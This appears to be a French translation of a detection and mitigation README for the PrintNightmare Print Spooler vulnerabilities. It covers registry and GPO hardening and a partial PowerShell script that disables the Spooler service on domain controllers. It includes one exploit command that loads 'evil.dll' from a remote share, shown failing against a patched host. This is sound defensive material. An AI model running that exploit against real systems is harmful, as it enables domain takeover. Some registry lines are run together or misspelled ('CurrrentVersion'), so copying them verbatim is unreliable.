
CVE-2021-1675 Informations de détection
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Ce dépôt contient un échantillon EVTX de l'attaque CVE-2021-1675 et CVE-2021-34527 ainsi qu'un fichier de configuration Sysmon minimal pouvant être utilisé pour générer la télémétrie correspondante.
Veuillez noter que ces règles peuvent être contournées - veuillez appliquer les correctifs appropriés et désactiver le service Spouleur d'impression sur les contrôleurs de domaine.
Veuillez tester tous les correctifs recommandés avant de les déployer en production, car ces changements de durcissement peuvent avoir des conséquences imprévues. Nous avons rédigé un article de blog expliquant le contenu de ce dépôt et les informations trouvées. Ici : https://labs.lares.com/detection-and-mitigation-printnightmare/
Grâce à Benjamin Delpy, un organigramme mis à jour sur l'exploitabilité de ce problème est disponible pour déterminer si vos systèmes sont probablement vulnérables.

Paramètres de sécurité -> Services système -> Spouleur d'impression -> Désactiver
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Configuration de l'ordinateur -> Modèles d'administration -> Imprimantes -> Autoriser le spouleur d'impression à accepter les connexions client - > Désactiver
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Imprimantes -> Restrictions d'impression par point et impression -> Invites de sécurité -> Lors de l'installation de pilotes pour une nouvelle connexion -> Afficher un avertissement et une invite d'élévation
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1Le correctif publié par Microsoft en juin 2021 corrige bien CVE-2021-1675 mais ne résout malheureusement pas le problème connu sous le nom de PrintNightmare (CVE-2021-34527). Par conséquent, un correctif de contournement peut être appliqué en désactivant le service Spouleur d'impression. Voici comment procéder à la fois via GPO et PowerShell. Il a été confirmé que le GPO corrige à la fois la fonction MS-RPRN RpcAddPrinterDriverEx et la fonction Win32 AddPrinterDriverEx utilisées par SharpPrintNightmare.
Le GPO suivant peut être configuré pour refuser les connexions client au spouleur, ce qui constitue un contournement potentiel lorsque la désactivation complète du service Spouleur n'est pas une option. Cela a été testé sur des contrôleurs de domaine et des postes de travail (W7/W10) dans un environnement de laboratoire ; les utilisateurs peuvent toujours ajouter/supprimer des imprimantes et imprimer, mais cela empêche l'exploit de fonctionner. Remarque : Il est également entendu que ce GPO corrige également CVE-2021-34527 comme indiqué sur la page de vulnérabilité de Microsoft.
Configuration de l'ordinateur -> Modèles d'administration -> Imprimantes -> Autoriser le spouleur d'impression à accepter les connexions client
définissez cette option sur Désactivé :

Redémarrez ensuite le service Spouleur sur l'hôte affecté. Si tout se passe bien, l'exploit se verra refuser l'accès :
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
Un autre correctif/contournement consiste à supprimer les utilisateurs authentifiés du groupe Pre-Windows 2000 Compatible Access comme découvert par Dirk-jan.

Assurez-vous que les groupes « Utilisateurs authentifiés » ne sont pas membres du groupe « Accès compatible Pre-Windows 2000 ». (Par défaut, ces groupes ne sont pas inclus dans les versions actuelles de Windows.) comme le montre la capture d'écran ci-dessous, il ne devrait y avoir aucun membre :

En cas de doute sur la procédure, les étapes suivantes peuvent être suivies :
Adapté du script de 0gtweet pour utiliser ADDomainController afin de récupérer tous les contrôleurs de domaine du domaine.
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}